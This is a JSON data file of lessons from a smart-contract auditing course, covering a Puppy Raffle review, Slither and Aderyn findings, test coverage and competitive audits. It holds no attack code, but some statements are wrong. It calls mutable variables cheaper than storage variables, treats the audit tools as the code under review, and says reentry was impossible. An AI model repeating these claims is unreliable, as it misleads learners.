hosts bugs that are as interesting as they are complex.\n\nIn conclusion, as we traverse the cryptosphere, navigate intricate protocols, and deal with diverse cryptocurrencies like ETH, it’s essential to understand the possible vulnerability. Knowing past pitfalls and learning from them is our best defense against future threats.\n", + "updates": [] + }, + { + "id": "85c941ab-17a5-4fb7-855f-ffcad2e2099d", + "number": 36, + "title": "Recon III", + "slug": "recon-continued-3", + "folderName": "36-recon-continued-3", + "description": "", + "duration": 7, + "videoUrl": "J-y62QDKEAA", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/36-recon-continued-3/+page.md", + "markdownContent": "---\ntitle: Recon Continued 3\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Manual Code Review: The Puppy Raffle Codebase\n\nHello folks, in our continuous journey to explore the world of code, let's dive into a manual code review of the Puppy Raffle codebase. We're going to sift through the codebase together and try to understand how it works, pointing out areas of concern.\n\n## Change Fee Address Function\n\nTo begin with, let's look into the `changeFeeAddress` function. This function ensures that only the contract owner can make changes to the contract's fee address. The modifier `onlyOwner` that is used in this function is sourced from the OpenZeppelin library. By inspecting these functions, it becomes apparent that they do perform the required tasks.\n\n```javascript\nrequire(owner == msg.sender);\n```\n\nSet the new fee address and check whether the fee address is used where it is supposed to. An event is then emitted.\n\nIt's worth noting that there may be some events missing from other functions, such as 'Withdraw Fees' and 'Select Winner'. This sparks a query for our manual audit of whether there are events missing elsewhere in the code that need to be added.\n\n## Active Player Function\n\n```javascript\n function isActivePlayer() public view returns (bool) {\n return activePlayers[msg.sender];\n }\n```\n\nThe function above is supposed to return true if the message sender is an active player. On attempting to identify its use within the protocol, we realize it isn't utilized anywhere. In the face of this finding, we add it to our audit report emphasizing the unused function may not contribute much impact or likelihood but is a wastage of gas and redundant clutter in our codebase.\n\n## Base URI and NFT Stuff\n\n![](https://cdn.videotap.com/x2QzHSr5HPaTEkOKw0xW-194.4.png)\n\nNext up is our base URI function that's tied to the creation of SVG-based NFTs. This function is critical for anyone wanting to comprehend NFTs and their role within the Defi and Web3 ecosystems. Understanding how NFTs operate under the hood is crucial for any security researcher.\n\nThe function as we see it here is essentially a classic SVG. It has an override for OpenZeppelin's method, checks if a token exists and then event tickets are mapped to rarity levels.\n\n```javascript\nfunction tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n require(_exists(tokenId), \"PuppyRaffle: URI query for nonexistent token\");\n uint256 rarity = tokenIdToRarity[tokenId];\n string memory imageUri = rarityToUri[rarity];\n string memory rareName = rarityToName[rarity];\n ...\n }\n```\n\nThis function deserves a more in-depth exploration along with cross-checking and verifying aspects like Rarity levels, URI mapping, token Id's, among other things.\n\n## In Retrospect\n\nHaving swept over the codebase once, we notice several areas deserving of keen attention, for instance, the sparing use of state variables and event emitters. Despite the detailed walkthrough, the first pass through the Puppy Raffle codebase has thrown up a host of questions to be answered as part of our codebase review. As we explore these points, we might end up with even more questions or uncover potential vulnerabilities.\n\nTake the challenge and dive deeper into the codebase, explore it thoroughly until you get a complete understanding. You can start trying to answer the questions we've stirred up, or even better, stir up a few of your own. It's a fantastic opportunity to practise your debugging skills and understand the codebase better.\n\nAnd if you choose not to, that's okay too! There's always more to learn and more adventures to embark on, in the vast world of coding. Keep exploring!\n", + "updates": [] + }, + { + "id": "7dddf0d6-a1fb-437a-89f6-fee77fd3a680", + "number": 37, + "title": "Answering our questions", + "slug": "answering-our-questions", + "folderName": "37-answering-our-questions", + "description": "", + "duration": 4, + "videoUrl": "3MSO9NJ2j_0", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/37-answering-our-questions/+page.md", + "markdownContent": "---\ntitle: Answering Our Questions\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Detailed Debugging Discussion: Answering Key Questions\n\nDuring my recent dive into a codebase, I was asked several key questions. In this blog post, I'm going to break down each question and provide my solutions. Let's begin our discussion.\n\n## The Players Array Dilemma\n\nFirst, the intriguing question of the players' array arose. It was essential to check if we ever reset the array. Our audit eventually led us to the bottom of the code where we found that indeed, the players' array was reset.\n\n![](https://cdn.videotap.com/kmOkBiTr178jCe2yOCNa-22.9.png)\n\n### Empty Array Scenario\n\nThe next question posed was, what happens when we have an empty array? Does this trigger an event? After thorough checks, I decided to include this scenario in my report for further audit.\n\n## When Player Is at Index Zero\n\nA scenario raised was anticipating the condition when the player is at index zero. Previous results indicated that if the player is at index zero, the function returns zero. This might confuse a player into thinking they're not active.\n\n![](https://cdn.videotap.com/HSNYhGEIwD2ytQEi2CeQ-49.61.png)\n\n### CEI Compliance in Audit Recommendations\n\nAll of this leads us to the question of whether the code adheres to Checks-Effects-Interactions (CEI) pattern. It turned out that it did not, consequently, suggesting a recommendation in the audit to adhere to CEI.\n\n> \"The CEI pattern is an important best practice in Solidity programming to avoid reentrancy attacks.\"\n\n## Duration and Start Time\n\nContinuing our examination, we explored if the duration and start time parameters are being set correctly. The code appeared to handle this correctly, effectively eliminating this query from our list of concerns.\n\n## Question of Balances and Fees\n\nAnother query was to contemplate why we don't just use `address(this).balance` for some of the fees. Why not, indeed? This interesting inquiry was marked down for further exploration in the audit.\n\n## Is the 80% Calculation Correct?\n\nMoving on, we examined a key calculation in the code that deals with 80% of a certain value. Our audit confirmed that this calculation was implemented correctly.\n\n> Always refer back to the documentation to validate the implementation.\n\nLooking deeper into this calculation, we discovered a possible arithmetic error which might cause some precision loss. A note was made to address this issue in the final report.\n\n## Keeping Track of Token Supply\n\nTo find out where the token supply total was incremented, we referred to the Open Zeppelin repositories', `SafeMint` function. If you're not familiar with this, I highly recommend checking out the OpenZeppelin documentation.\n\n![](https://cdn.videotap.com/6icrcHwg1yWjBbqusn4h-133.57.png)\n\n### Unfair Advantage with Transaction Reverts\n\nA worrying scenario might occur if a transaction picks a winner that we don't like, causing a gas war. This could create an unfair advantage in the system, making it a key point in the report follow-up.\n\n## Is Reentry Possible?\n\nOur debugging expedition dove deeper as we tried to verify if reentry was possible. The results indicated that it wasn't, but the advice was given to follow CEI nonetheless.\n\n## Issues with Smart Contracts as Winners\n\nThe potential of a smart contract with a failing fallback function winning was observed as an issue. This situation could result in the winner not receiving any money.\n\n### Withdrawal Difficulties\n\nThe inability to withdraw fees if there were players in the protocol was viewed as a significant problem. This hindrance could develop into an \"Miners Extractable Value (Mev)\" attack as well.\n\n## Mishandling of ETH\n\nWe then deduced that the code mishandled ETH. This bug resulted in losing accumulated ETH, making it a matter for our consideration.\n\n## Addressing Fee Addresses\n\nThe final question assessed the scenario of a fee address being a smart contract with a non-functioning fallback. We concluded that it's not a big issue since the owner can change the holder.\n\nAnd with that, all of our pressing questions were successfully answered! But remember, coding is an evolving process. Always revise, recheck and keep improving. Until our next debugging session, happy coding!\n", + "updates": [] + }, + { + "id": "5953da27-94eb-44a6-a7ec-250b4637ea5f", + "number": 38, + "title": "Info and gas findings", + "slug": "info-and-gas-findings", + "folderName": "38-info-and-gas-findings", + "description": "", + "duration": 5, + "videoUrl": "WycVutSWjlM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/38-info-and-gas-findings/+page.md", + "markdownContent": "---\ntitle: Info and Gas Findings\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Boosting Code Quality with Solidity: An Audit Analysis\n\nIn our journey to mastering Solidity, we have encountered a few gaps and opportunities for improvement in our code quality, especially during private audits. This blog post will guide you through some key areas to call out in code during an audit: naming conventions, versioning, the risk of magic numbers, addressing supply chain attacks, and opportunities for gas optimization.\n\n## Naming Conventions: Clarifying Storage Variables\n\nOne of the easiest ways to improve code readability is to use clear naming conventions. In the codebase for our audit, the names of the storage variables were found lacking. A beneficial standard to maintain is adding a `\"s_\"` prefix to every storage variable name.\n\n```js\nuint256 public s_variableName;\n```\n\n![](https://cdn.videotap.com/HUA3lLveQmbRWkwQgBnq-36.53.png)\n\nEven though modifying the names of the storage variables wouldn't immediately cause a drastic change, it's one of our key recommendations for better readability and organization of the code.\n\n## The Risk of Different Solidity Versions\n\nContinuing with the code analysis, we found the use of different Solidity versions thanks to an indicator—the caret (`^`)—placed at the top of the code.\n\n```js\npragma solidity ^0.5.0;\n```\n\nWhile the caret signifies that any version compatible with `0.5.0` could be used, it's not a best practice. The ideal way is to stick with a single version of Solidity.\n\n```js\npragma solidity 0.5.0;\n```\n\nBy nailing down the exact version of Solidity, it guarantees compatibility and stability when running tests.\n\n![](https://cdn.videotap.com/q76csvaY6UkAse0ikj5X-97.42.png)\n\n## Ditch Those Magic Numbers:\n\nOur audit found hardcoded numbers (`80` and `20`) in the middle of the codebase. It's not desirable; these “magic numbers” create confusion as other developers would not understand why these numbers are there. We propose adding a descriptor that provides context.\n\n```js\nuint256 public constant prizePoolPercentage = 80;\nuint256 public constant feePercentage = 20;\nuint256 public constant poolPrecision = 100;\n```\n\nNow, rather than ambiguous magic numbers, we have self-explanatory constants which add meaning and readability to our code.\n_Note: 0 and 1 are often exceptions to this rule because of their ubiquitous use. However, you could still create constants for these as well._\n\n![](https://cdn.videotap.com/wIpzaZwE6d1VfGkBsRLt-146.13.png)\n\n## Defense against Supply Chain Attacks\n\nWhen using external libraries or contracts, it's crucial to know their security status and ensure they're free from vulnerabilities. In our code audit, we used the OpenZeppelin library; however, it's crucial to check disclosures for **each specific version** used.\n\n> You can refer to [OpenZeppelin’s security tab](https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories) to get bug bounty info and security disclosures.\n\nHere's an example of a security disclosure:\n\n_“Governor Votes Quorum Fraction: Updates to Quorum may affect past defeated proposals.”_\n\nIt's crucial to verify that none of the contracts used in your project, like Ownable or Address, are affected by the issues present in the specific version of OpenZeppelin used.\n\n![](https://cdn.videotap.com/YktdcyF0s9wvili0y7mu-207.02.png)\n\n## Gas Optimization Opportunities\n\nGas optimization is often reported as part of informational findings in an audit. For example, in our audit, we found that the `raffleDuration` variable is declared as a storage variable, even though it never changes.\n\n```js\nuint public raffleDuration = 100;\n```\n\nInstead, declaring it as an immutable variable would be more gas-efficient and a better practice.\n\n```js\nuint public immutable raffleDuration = 100;\n```\n\n![](https://cdn.videotap.com/CAyDqXFyoDcDU80R3SyW-255.73.png)\n\nRemember, compared to storage variables, mutable variables are cheaper to use and crucial for gas-efficiency in your smart-contracts. Would you like to deepen your understanding of Immutable vs. Storage variables? We recommend our [Foundry Course](https://github.com/Cyfrin/foundry-full-course-f23).\n\nAs a summary, enhancing code quality is not always about finding impactful bugs. It's also about refining your codebase to improve readability, maintainability, performance, and security—even if the effects aren't immediately observable. In the long run, it makes your codebase robust, efficient and less prone to errors.\n", + "updates": [] + }, + { + "id": "81cfb5f7-8d5b-44d1-abc6-860e8e2921c5", + "number": 39, + "title": "Pit stop", + "slug": "pit-stop", + "folderName": "39-pit-stop", + "description": "", + "duration": 2, + "videoUrl": "miGzIKhbbAs", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/39-pit-stop/+page.md", + "markdownContent": "---\ntitle: Pit Stop\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Wrapping Up Code Audits and Crafting Stellar Reports\n\nHaving navigated the vast sea of codebase, it's time to wrap it all up. We have two important tasks left on our plate – exploring the Slither/Aderyn report and conducting some quality tests on the code. So let's dive right in, tie up these loose ends, and prepare a comprehensive report of our journey. Along the way, we'll demystify competitive audits, discuss their functioning, and learn how you can effectively participate in one.\n\n![](https://cdn.videotap.com/3YUaA6yxV7kah1I7OKcF-11.16.png)\n\n## Understanding Competitive Audits\n\nParticipating in a competitive audit requires the ability to comprehensively scrutinize code and identify loopholes. As we delve into this process, you'll get to grasp how you can submit a finding to a competitive audit platform. The real litmus test would be writing an audit report - and what better one to practice on than the Puppy Raffle?\n\n![](https://cdn.videotap.com/3301ntoHswP3rTI5NMHr-27.89.png)\n\n## Writing the Puppy Raffle Audit Report\n\nIn practice, writing a full report together may turn out to be a time-intensive endeavor. Hence, we won't always do this together. But fret not, it's an excellent practice to test your understanding of the audit process. And who better to guide you than me, Patrick?\n\nIf you'd prefer to write the report yourself and then compare it to mine, there's nothing stopping you. Remember, this is your opportunity to test yourself, gain insights, and hence prepare yourself for future competitive audits.\n\nYou can find our full report in Markdown within the 'audit data branch' of the repo, along with a PDF version. You will also find the output of our Aderyn and Slither reports there, in case you want to compare yours and ensure its correctness.\n\n> As a coder, if you aspire to delve into the nitty-gritty of competitive audits or just want to enhance your expertise on smart contract reviews, this is the place to be!\n\n## Crafting Your CodeHawks Security Portfolio\n\nWith the completion of these tasks and the report, you'll have another smart contract security review or audit under your belt. Add it to your GitHub repo, and boom - you've taken one solid step in building your CodeHawks Security Portfolio.\n\n![](https://cdn.videotap.com/pubzcvfWTx4aBwYlcul8-83.68.png)\n\n## Finishing Off with Slither and Aderyn\n\nThat said, we're not quite done yet. Let's finish running Slither and Aderyn, the two essential parts of our journey so far. Once we are done with these, we can then finally step into the realm of reporting, the summation of everything we've learned through this process.\n\nGet ready for the exciting final step - drafting an insightful report that reflects all the hard work we put in during the learning process. Let's do this together! Happy Coding!\n", + "updates": [] + }, + { + "id": "7193c982-2dae-435b-bf60-f6848ca9b475", + "number": 40, + "title": "Slither walkthrough", + "slug": "slither-walkthrough", + "folderName": "40-slither-walkthrough", + "description": "", + "duration": 13, + "videoUrl": "WOU8yw0ATBA", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/40-slither-walkthrough/+page.md", + "markdownContent": "---\ntitle: Slither Walkthrough\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Slithering Through Code: The Power of Slither for Solidity Auditing\n\nWhenever you're developing a contract using the Solidity programming language (or indeed, any contract), thorough auditing is critical. One of the handiest tools for completing this process is **Slither**.\n\nLet's deep dive into the code and uncover the treasures this utility can offer us.\n\n## Starting From The Extremes\n\n![](https://cdn.videotap.com/NQHSIHFaGFwd07Cdj3aB-77.3.png)\n\nTo effectively dissect your code, it's beneficial to begin with the most extreme areas and then continue downwards. Going through an example, I started my process with a function named `withdrawFees` and investigated its command for sending ETH (Ethereum's primary cryptocurrency) to an arbitrary user.\n\n```js\nfunction withdrawFees...\n```\n\nThis line has been isolated by Slither as a potential problem. Here, Slither highlights that the `feeAddress` is an arbitrary user and there's a risk of malicious behavior. In other circumstances, this might be a significant issue, but I know that in this context, it's an intentional element. The developer designed this function so that the `feeAddress` can be manually reset if required.\n\n## Getting Up Close And Personal With The Documentation\n\nWhile the above example illustrates one instance where Slither can help, to truly benefit from this tool, it's crucial to dive into the [documentation](https://github.com/crytic/slither/wiki) and deepen your understanding.\n\nHere, you'll find extensive information about the severity ratings, confidence levels, and possible attack vectors associated with different vulnerabilities.\n\nRemember, while the high confidence level indicates a bug has likely been detected, a medium confidence level means it could be a false positive. Always cross-check your findings to insist on precision.\n\n> \"The severity is high, the confidence is medium here. Confidence being medium means that the tool is medium sure.\"\n\n## Slithering Around False Positives\n\nOne exciting feature of Slither is how you can customize its priorities. Specifically, if your audit reveals a facet of your code that Slither identifies as a potential issue, and you want to retain the feature, you can set Slither to ignore this issue during future audits.\n\nTo do this, simply follow the formatting in the Slither documentation.\n\n```js\n/* slither-disable-next-line arbitrary-send-eth */\n```\n\nBy incorporating this command directly into your code, you can ensure that Slither glosses over this line in further audits. This is a handy way of preventing critical function lines from repeatedly making noise in the audit reports.\n\n## And The Winner Is...\n\n![](https://cdn.videotap.com/9tgDlvKbmj5arMTdT1ql-425.15.png)\n\nMoving on to another common piece of Solidity code—the `selectWinner` function. In this scenario, Slither identified a weakness in the PRNG (Pseudorandom Number Generator) being used. This tool is regularly used in Solidity contracts to simulate a fair lottery, but it's critical you use a robust PRNG to avoid potential exploitation. If a developer can predict the randomly selected winner, they can manipulate the result, which relegates the fairness of the lottery to a mere illusion.\n\n> \"Slither picked out the weak randomness as well. \"\n\nSlither can detect this particular issue automatically, allowing your team to correct the PRNG weakness straightforwardly, saving valuable time that manual review processes would soak up.\n\n## Praying On Libraries\n\nLibraries in Solidity are double-edged swords. They offer a wealth of functions and features, but they can be riddled with vulnerabilities that can exponentially increase your attack surface. Slither spares your security team the headache by scanning these areas of your contract and flagging any potential flaws.\n\nHowever, it's always prudent to verify that these libraries are doing exactly what they're supposed to and aren't presenting unnecessary risks.\n\n## Unchecked Events: A Low-Flying Concern\n\nOne advantage of auditing with Slither is its penchant for identifying unchecked events within your code. This issue usually flies under the radar in manual reviews, but unchecked events can lead to manipulation in the emitted information. While some might classify these as minor vulnerabilities, unchecked events can actually be exploited in multiple ways and interfere with important Ethereum ecosystem elements.\n\nFor this reason, I've developed a rule of thumb whereby if an event can be manipulated, omitted, or is incorrect, I usually categorize them as low-level issues. This rating is subjective, of course, but I believe that bringing them to the view helps in correcting them early.\n\n## Unearth Old Versions and Low-Level Calls\n\n![](https://cdn.videotap.com/jqNTpIqXL1SPGiYnAfl6-657.05.png)\n\nSlither isn't just a guardian against dangerous codes; it's also an adviser for better coding practices. The tool diligently points out outdated Solidity version usage, encouraging the adoption of up-to-date versions. Moreover, it raises an alarm on the usage of low-level calls, guiding the programmer towards safer coding habits.\n\nThis particularly aids in learning best practices from the community and serves as a yardstick measuring the overall code quality. Following such leads can be beneficial in the long run, not only for overall security but also for smoother audits.\n\n## Final Wrap\n\nThe somewhat tedious task of parsing through the entire slither output just goes to further underscore its utility. The resources saved in manual reviews can be better directed towards more sophisticated issues that require deeper investigation. This course is a boon not only for developers looking to hone their skills but also for audits aiming for a thorough review, thereby creating a more secure and reliable smart contract ecosystem.\n\nSlither is an auditor's companion, discovering vulnerabilities, suggesting fixes, and promptly sniffing out potential threats waiting to rear their heads in your codes. Are you ready to let the Slither work its magic on your codes?\n", + "updates": [] + }, + { + "id": "3968e2b8-4bc5-445c-83f8-2841f2eb3ae3", + "number": 41, + "title": "Aderyn walkthrough", + "slug": "aderyn-walkthrough", + "folderName": "41-aderyn-walkthrough", + "description": "", + "duration": 3, + "videoUrl": "CtUYMz09jjs", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/41-aderyn-walkthrough/+page.md", + "markdownContent": "---\ntitle: Aderyn Walkthrough\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Enhancing Your Smart Contract Security with Aderyn\n\nLet's look at another powerful tool that makes auditing your smart contracts easier - Aderyn. This article sets out to show how this tool helps users identify specific issues in your contract, and the best part is that it generates a markdown report which you can quickly integrate into your final report.\n\nLet's delve in!\n\n## Benefits of Aderyn\n\nOne of the amazing features of Aderyn is that it creates a markdown report which you can easily copy and paste into your final report. After running Aderyn on your smart contract, you'll find an `report.md` file - a result of Aderyn's quick and thorough analysis.\n\n![](https://cdn.videotap.com/uMvxzTVuSfeiTlRIxGAA-27.68.png)\n\n## Key Findings Using Aderyn\n\nUpon previewing the report generated by Aderyn, you'll discover some really interesting insights about your smart contract. Here, I will discuss a few crucial issues highlighted by this tool.\n\n### Potential Centralization Risk for Trusted Owners\n\nOne of the most crucial issues brought to the forefront is the centralization risk. Any contract offering owner permission to make changes may present a potential threat. Owners could potentially leverage their power to manipulate the contract. However, in most cases, we may disregard this risk given the limited powers entrusted to the owner, involving just the alteration of the fee address.\n\n> \"Smart contracts are supposed to be these immutable, decentralized contracts. However, any time there is an ownership property, the owner could potentially do something malicious.\"\n\n### abi.encodePacked\n\nIn some situations, using `abi.encodePacked` with dynamic types when passing the result to a hash function like keccak256 could lead to low-level issues. Fortunately, this isn't as severe as it might sound, and can often be resolved by removing the contentious line altogether.\n\n### Missing Address Zero Checks and Undefined Functions\n\nAderyn is good at picking up simple programming slip-ups. For instance, it will flag when address zero checks are missing, which can occur when values are being assigned to address and state variables.\n\nAderyn also points out if there are any internal functions that aren't being utilised. A nifty solution to this is either marking these unused functions as external or removing them completely.\n\n### Use of Magic Numbers\n\nAderyn can detect the usage of magic numbers in your contract - a common poor programming practice. As seen below, \"80\" being used as a magic number was caught by the tool. It recommends using constant variables instead of literals, which aligns with good programming practices.\n\n![](https://cdn.videotap.com/2bVrCC34nMU5Ved8C7bz-110.71.png)\n\n### Events Missing Indexed Fields\n\nThe final point brought to attention by Aderyn was the lack of indexed fields in events. This can be easily resolved by adding an index field to your events, which can improve the search efficiency.\n\nThe comprehensive markdown report generated by Aderyn also provides a detailed breakdown on each of the identified issues, as well as additional information relating to possible attack vectors.\n\n### Leverage Aderyn for Simplified Reporting\n\nIn essence, Aderyn is an effective tool for auditing smart contracts and makes reporting straightforward. You can simply copy-paste its analysis into your report, making it a compelling part of your smart contract auditing toolkit.\n", + "updates": [] + }, + { + "id": "f012efb6-1547-4ce9-add5-cfcf024f0730", + "number": 42, + "title": "Test coverage", + "slug": "test-coverage", + "folderName": "42-test-coverage", + "description": "", + "duration": 1, + "videoUrl": "wdtO4YOCTFs", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/42-test-coverage/+page.md", + "markdownContent": "---\ntitle: Test Coverage\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Enhancing Code Coverage For Better Audit Results\n\nAre you looking to pass an audit with your code? If so, code coverage is an essential metric you need to pay attention to. Code coverage, as the term suggests, indicates how much of your code is being tested through your test cases. Getting the right code coverage can be the difference between code that's reliable and durable and code that's prone to bugs and eventual system breakdowns.\n\nLet's walk through my most recent analysis.\n\n## Code Review: Aderyn and Slither\n\nI recently reviewed two applications: Aderyn and Slither. After completing the review, it was time to study their code coverage.\nLet's delve deeper into the specifics and dissect how much of the code was actually \"covered\" under the tests.\n\n## Forge Tool for Calculating Code Coverage\n\nTo measure the code coverage, I used Forge, a widely recognized tool for just this purpose. The result was not as expected.\n\n```bash\nforge coverage\n```\n\n![](https://cdn.videotap.com/H1yW7XuzYltnhAiHdcLP-13.37.png)\n\nThe outcome was somewhat disheartening.\n\nWhat did the above result imply? It screamed out loud, \"Ta DA, it's pretty bad\". In simpler words, the code coverage was in a pitiful state.\n\n> **NOTE:** In an ideal world, code coverage should ideally be near or at 100%. No stone should go unturned!\n\n## Audit types: Private Audit vs Competitive Audit\n\nHere comes the tricky part - audits. Depending on the type of audit, the levels of code coverage required can change.\n\nFor a **private audit**, the level of code coverage obtained would necessitate classifying it as purely informational. It directly translates to \"Hey! You need better test coverage.\" In simple words, it highlights the area of improvement for the developers to get a higher success rate during audit approval.\n\nFor competitive audits, code coverage doesn't usually play as significant a role. However, that doesn't mean it’s entirely negligible.\n\n![](https://cdn.videotap.com/9BEXZYZjamdFNyvfe0tl-28.8.png)\n\n## The Need for Higher Code Coverage\n\nDiscussing this further, with the code base's simplicity, particularly for apps like Aderyn and Slither, maximum code coverage should be relatively easier to achieve. But the reality depicted a gloomy picture.\n\nThis code coverage was somewhat \"abysmal\", as I put it mildly.\n\nAny code coverage below the acceptable limit indicates that sections of the code are not covered in the tests. This means that there is code which, when executed, does not have any tests that can confirm its correctness.\n\nConsidering the existing code base's simplicity, providing a comprehensive test coverage should not be a daunting task. With some additional effort, this can easily be improved, thereby making your applications more resilient and robust.\n\nIn conclusion, if your code coverage is lacking, it's time to dive back into your tests and ensure they're comprehensive. Remember, code coverage is not only a noteworthy aspect during audits but also plays a crucial role in the overall performance and uninterrupted functioning of your application. So, get back to testing, and happy coding!\n", + "updates": [] + }, + { + "id": "605f8320-1990-46eb-9a42-8ec0f0b978a5", + "number": 43, + "title": "Phase 4: Reporting primer", + "slug": "phase-4-reporting-primer", + "folderName": "43-phase-4-reporting-primer", + "description": "", + "duration": 3, + "videoUrl": "4cDUHJ2srSM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/43-phase-4-reporting-primer/+page.md", + "markdownContent": "---\ntitle: Phase 4 Reporting - Primer\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# How to Execute a Time Bound Security Review and Write an Effective Report\n\nIn security research, we know that the nitty gritty of reading and tinkering with code is just part of the big picture. At some point, you have to compile your findings and deliver a report that fully explains your work and its implications. To paraphrase a well-known off-color joke about necessary functions, everybody's got to do it, like it or not! So let's talk about how to do it well, and yes, even relish the process.\n\n## Achieving Closure\n\nOnce you are reasonably satisfied with the code inspection phase, it's time to evaluate the data and summarize your findings into a clear, concise, and convincing report.\n\n> It's the end of our code review and our job now, is to report our findings effectively. This is pivotal to our work as a security researcher and we should strive to do it right.\n\n![](https://cdn.videotap.com/rURmYlf7Mj8v8mjNSpls-34.png)\n\n## Venturing into Competitive Audits\n\nOne of the first steps post-review would be to perform a competitive audit. Here, we will compare our findings to those of other security researchers, providing us perspective and reassurance about our work.\n\n> Doing a competitive audit can supercharge our careers. It reinforces our learning and encourages us to be better. We will prepare a submission detailing our findings.\n\n## Writing a Comprehensive Report\n\nWe will then delve into the crux of our task - the full report for the Puppy Raffle code we've been working on.\n\n> It's not enough merely to discover bugs—successful discovery and exploitation often depend on being able to write a convincing report that shows why a bug must be fixed. Failure to do so could cost you a potential bounties or even your standing in the industry.\n\n## The Art of Writing a Proof of Concept\n\nIn this journey, we will also be writing a lot of Proof of Concepts (PoCs). This is vital to your ongoing development as a security researcher, so practicing along is highly recommended.\n\n![](https://cdn.videotap.com/7JHE8CMtsqxXQyAAdWxB-97.14.png)\n\n## Pause to Reflect and Recover\n\nIf this has been a whirlwind so far, don't worry—you're not alone. I've packed your brain with loads of information, and it's now time to take it slow. As a thumb rule, it's best not to over-exert yourself. Doing so might lead to cognitive overloads and information fatigue.\n\n> Take a pause; let the information sink in by giving your brain a well-deserved break. Go for a walk, do some push-ups, call a loved one, or perhaps pick up a book. Keep things varied to optimize your learning process.\n\nTake at least a 20-minute break before returning to your task. You're doing a brilliant job and you're almost at the finish line – a comprehensive report of your security review.\n\n## Girding up for Section Five\n\nRemember, this is not the end of the road. Following the report compilation and submission, you're slated to dive into DeFi. This next section is what promises to boost your audit portfolio and take your skills to the next level.\n\nIn a nutshell, navigate this process at your own pace. The goal is to ensure an effective, in-depth review, and create a report worth its weight in gold. Absorb the learning, take timely breaks, and come back rejuvenated to deliver a stellar report.\n\n> And always keep in mind: you're not just bug hunters, you're also bug salesmen. Being able to sell why a bug is important to fix is a crucial skill for success in this field.\n\nSee you on the flip side!\n\n-Cheers!\n", + "updates": [] + }, + { + "id": "ecc11bfc-759f-4cd7-9056-9de865bdbb07", + "number": 44, + "title": "What is a competitive audit?", + "slug": "what-is-a-competitive-audit", + "folderName": "44-what-is-a-competitive-audit", + "description": "", + "duration": 5, + "videoUrl": "GzxUGMlw340", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/44-what-is-a-competitive-audit/+page.md", + "markdownContent": "---\ntitle: What is a Competitive Audit?\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Understanding Competitive Audits in Software Security: A Deep Dive\n\nWelcome to another enlightening post about software security. Gone are the days when only a single person or firm conducted audits for a codebase. It's time we talked about competitive audits—a game-changing yet relatively underexplored area of software security!\n\n## What's a Competitive Audit?\n\nUnlike private audits, a competitive audit is based on a unique principle: put your code base out to the public and invite them to compete in spotting as many bugs as possible.\n\n\"Competitive audits are a little bit different from private audits because the main focus is actually going to be on bugs as opposed to a private audit, where we're talking about increasing the code quality, test coverage, et cetera. In a competitive audit, you get paid if you find bugs, and if you find bugs, you win money.\"\n\nAn exciting example of a completed competitive audit is the BeedleFi protocol from CodeHawks.\n\n![](https://cdn.videotap.com/1TB4kKK5zsjQEFuoczfL-53.14.png)\n\nWhen you view the final report and click on one of the findings, you will notice a list of users who submitted this issue. Remember that these are not just any users—they are bug-finders who actually make a living out of this. Clicking on a profile will lead you to their credentials and past contributions.\n\n## How Do Competitive Audits Work?\n\nNow onto the real catch: how is the payout determined? Each competitive audit platform has its unique way of determining the compensation, basing it on factors such as the gravity and uniqueness of the bug found.\n\nFrom the CodeHawks docs, we learn that the payouts are currently determined as medium-risk shares and high-risk shares—more bugs located by the same person or group, less the pay-out per bug. The idea behind this could be interpreted as an incentive towards spotting more unique bugs, making the whole process more competitive and efficient.\n\n![](https://cdn.videotap.com/77H0xz2GOS14nGEknd09-97.43.png)\n\nThis framework works as a sybil resistance mechanism, so that one auditor doesn't submit under multiple names the same bug to get more money.\n\n> \"If you go to the CodeHawks documentation, there's actually some examples given a prize pot, who finds what bugs and how much they'd actually get paid out, if you want to know exactly how it works.\"\n\n## The Quality of Competitive Audits\n\nQuality-wise, competitive audits are off the charts! Contest summaries often report findings including high, medium, and low-risk vulnerabilities, as well as gas informational findings. The fact that smart contract security platforms are now resorting to competitive audits is proof of their effectiveness in spotting as many bugs as possible.\n\n![](https://cdn.videotap.com/C5hTu21ZmxEPmmnMP7gn-159.43.png)\n\nBut you don't just stop at audits. Valorizing your skills and building a solid career in the field is very much possible. Security researchers such as Hans and Pashav have started their journeys as competitive auditors and are now expert auditors.\n\n## Why Should You Consider Competitive Audits?\n\nIf you aspire to start your journey in smart contracts security and auditing, then remember: competitive audits are the best way! They offer an enriching learning experience and real opportunities to win money.\n\nMoreover, competitive audits platforms like CodeHawks provide career-building opportunities where you can level up your skill and expose your competence to a wide range of potential clients.\n\nA fun way to start this journey can be opting for CodeHawks' \"First Flights\"—a program designed to help you dive into the world of competitive auditing through easy, small code bases, like the Puffy Raffle.\n\n\"Competitive audits are a great way to learn and grow as a security research searcher, because oftentimes doing security reviews is very daunting, time-consuming. These are much quicker, much faster, and you learn so fast.\"\n\n![](https://cdn.videotap.com/kr2xo5Oi0O71dQUU9I1q-221.43.png)\n\nThere's a clear path to growth with competitive audits: once the competition is over, you're able to view the final report, see all the findings that you missed, and use it as learning for your next venture. Competitive audits are undoubtedly the best way to always stay on top of your game.\n\nGet ready to dive in because your road towards a top-notch software security auditing career starts here! Stay tuned for our next update on the latest trends in software security.\n", + "updates": [] + }, + { + "id": "9c485ab8-c99e-4dec-8dfc-267bdf536d45", + "number": 45, + "title": "Codehawks", + "slug": "codehawks", + "folderName": "45-codehawks", + "description": "", + "duration": 3, + "videoUrl": "WQj6Gw8bMLc", + "rawMarkdownUrl": 